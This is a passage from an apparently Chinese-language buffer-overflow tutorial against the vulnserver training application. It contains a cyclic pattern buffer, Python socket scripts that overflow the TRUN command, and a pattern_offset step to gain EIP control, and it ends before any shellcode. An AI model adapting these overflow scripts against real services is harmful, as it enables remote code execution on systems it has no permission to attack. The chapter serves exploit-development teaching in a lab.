buffer="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"

s.send(('TRUN .' + buffer + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

现在,让我们运行 vulnserver。然后,以管理员身份打开 Immunity Debugger。导航到 文件 | 附加 并选择 vulnserver:

点击附加并运行程序。然后运行我们的攻击,并查看 Immunity Debugger 中发生了什么:

让我们查看寄存器内部:

现在,EIP 包含 396F4338。让我们尝试从我们的攻击机器中找到这个模式:

./pattern_offset.rb -q 0x396f4338 -l 5000

上述命令的输出可以在以下截图中看到:

因此,为了控制指令指针,我们需要注入 2006 个 A。然后,我们需要 4 个字节来控制 EIP 寄存器,其余的将被注入为 shellcode(5000-2006-4);这给我们 2990 个字符。让我们尝试一下,以确保我们走在正确的方向上:

#!/usr/bin/python
import socket

server = '172.16.89.131'
sport = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
buffer =''
buffer+= 'A'*2006
buffer+= 'B'*4
buffer+= 'C'*(5000-2006-4)
s.send(('TRUN .' + buffer + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n') 
print s.recv(1024)
s.close()

这就是我们的有效载荷应该是什么样子的:

关闭 Immunity Debugger,然后重新启动应用程序。然后,再次启动利用代码。我们应该看到 Bs 被注入到 EIP 寄存器中:

成功了!我要再次使用 Immunity Debugger 进行重新检查。让我们来看看寄存器(FPU)里面的情况:

现在我们控制了 EIP 寄存器。让我们来看看堆栈里面的情况:

正如你所看到的,这里有我们的 As,然后是 4 个字节的 Bs,溢出了 EIP 寄存器,然后是299*0个 Cs。

在下一章中,我们将在这些 Cs 中注入一个 shellcode。

总结

在本章中,我们经历了 fuzzing 以及如何使程序崩溃。然后,我们看到了如何使用 Metasploit Framework 获得 RIP 寄存器的确切偏移量,以及一种非常简单的注入 shellcode 的方法。最后,我们经历了一个完整的 fuzzing 示例,并控制了指令指针。

在下一章中,我们将继续我们的示例,看看如何找到一个地方放置 shellcode 并使其工作。此外,我们还将学习更多的缓冲区溢出技术。